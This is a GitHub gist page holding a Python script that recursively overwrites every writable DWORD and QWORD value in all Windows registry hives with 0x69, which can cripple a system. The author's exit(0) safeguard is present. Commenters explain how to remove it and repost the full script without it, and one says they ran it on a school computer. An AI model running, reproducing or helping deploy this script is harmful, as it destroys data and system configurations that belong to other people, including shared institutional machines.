Skip to content

Instantly share code, notes, and snippets.

@FlyTechVideos
Last active March 11, 2024 18:46
Show Gist options
  • Save FlyTechVideos/2a9b260f0cd440fbe316241ffc8e48ac to your computer and use it in GitHub Desktop.
Save FlyTechVideos/2a9b260f0cd440fbe316241ffc8e48ac to your computer and use it in GitHub Desktop.
Sets all DWORD/QWORD registry values for which the user has permission to edit to 0.
import winreg
VALUE_TO_WRITE = 0x69
root_dict = {
'HKEY_CLASSES_ROOT': winreg.HKEY_CLASSES_ROOT,
'HKEY_CURRENT_USER': winreg.HKEY_CURRENT_USER,
'HKEY_LOCAL_MACHINE': winreg.HKEY_LOCAL_MACHINE,
'HKEY_USERS': winreg.HKEY_USERS,
'HKEY_CURRENT_CONFIG': winreg.HKEY_CURRENT_CONFIG
}
types_to_overwrite = [
winreg.REG_DWORD,
winreg.REG_QWORD
]
def check_values(root, key, opened_key):
values_to_overwrite = []
try:
i = 0
while True:
value = winreg.EnumValue(opened_key, i)
if value[2] in types_to_overwrite:
values_to_overwrite.append((value[0], value[2]))
i += 1
except:
pass
if len(values_to_overwrite) > 0:
try:
opened_write_key = winreg.OpenKey(root_dict[root], key, access=winreg.KEY_SET_VALUE)
for value_pair in values_to_overwrite:
winreg.SetValueEx(opened_write_key, value_pair[0], 0, int(value_pair[1]), VALUE_TO_WRITE)
except Exception as e:
print(f'PERMISSION DENIED: {e}')
pass
def traverse(root, key):
should_check_values = True
try:
opened_key = winreg.OpenKey(root_dict[root], key)
check_values(root, key, opened_key)
except Exception as e:
if 'WinError 5' in str(e):
print(f'{e}: Error 5 [no read permission]')
should_check_values = False # no need if i can't read them anyway
if should_check_values:
check_values(root, key, opened_key)
if key != '':
key += '\\'
try:
i = 0
while True:
traverse(root, key + winreg.EnumKey(opened_key, i))
i += 1
except:
pass
def main():
for root in root_dict.keys():
traverse(root, "")
if __name__ == '__main__':
print('Safeguard against accidental execution. DO NOT EXECUTE THIS ON YOUR MAIN SYSTEM!')
exit(0)
main()
@aeo2625253
Copy link

how do i bypass the safeguard

Copy link

ghost commented Oct 20, 2021

how do i bypass the safeguard

i deleted the exit(0) on line 17 and it seems to do something

@ang-or-five
Copy link

ang-or-five commented Nov 19, 2022

import winreg

VALUE_TO_WRITE = 0x69


root_dict = {
    'HKEY_CLASSES_ROOT': winreg.HKEY_CLASSES_ROOT,
    'HKEY_CURRENT_USER': winreg.HKEY_CURRENT_USER,
    'HKEY_LOCAL_MACHINE': winreg.HKEY_LOCAL_MACHINE,
    'HKEY_USERS': winreg.HKEY_USERS,
    'HKEY_CURRENT_CONFIG': winreg.HKEY_CURRENT_CONFIG
}


types_to_overwrite = [
    winreg.REG_DWORD,
    winreg.REG_QWORD
]


def check_values(root, key, opened_key):
    values_to_overwrite = []
    try:
        i = 0
        while True:
            value = winreg.EnumValue(opened_key, i)
            if value[2] in types_to_overwrite:
                values_to_overwrite.append((value[0], value[2]))
            i += 1
    except:
        pass
    
    if len(values_to_overwrite) > 0:
        try:
            opened_write_key = winreg.OpenKey(root_dict[root], key, access=winreg.KEY_SET_VALUE)
            for value_pair in values_to_overwrite:
                winreg.SetValueEx(opened_write_key, value_pair[0], 0, int(value_pair[1]), VALUE_TO_WRITE)
        except Exception as e:
            print(f'PERMISSION DENIED: {e}')
            pass


def traverse(root, key):
    should_check_values = True
    try:
        opened_key = winreg.OpenKey(root_dict[root], key)
        check_values(root, key, opened_key)
    except Exception as e:
        if 'WinError 5' in str(e):
            print(f'{e}: Error 5 [no read permission]')
            should_check_values = False # no need if i can't read them anyway
    
    if should_check_values:
        check_values(root, key, opened_key)

    if key != '':
        key += '\\'
    try:
        i = 0
        while True:
            traverse(root, key + winreg.EnumKey(opened_key, i))
            i += 1
    except:
        pass


def main():
    for root in root_dict.keys():
        traverse(root, "")


main()

@TheRealBrodie
Copy link

I ran this script on a school computer

@winapiadmin
Copy link

winapiadmin commented Dec 16, 2023

I ran this script on a school computer

No...... you can't restore it easily because it affected the HKCU, but HKLM is easy... But you can ensure it's OK if the script do not show any consoles yet (IDLE is counted as a console window, but more formatting). FlyTech have a video that delete all root key once.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment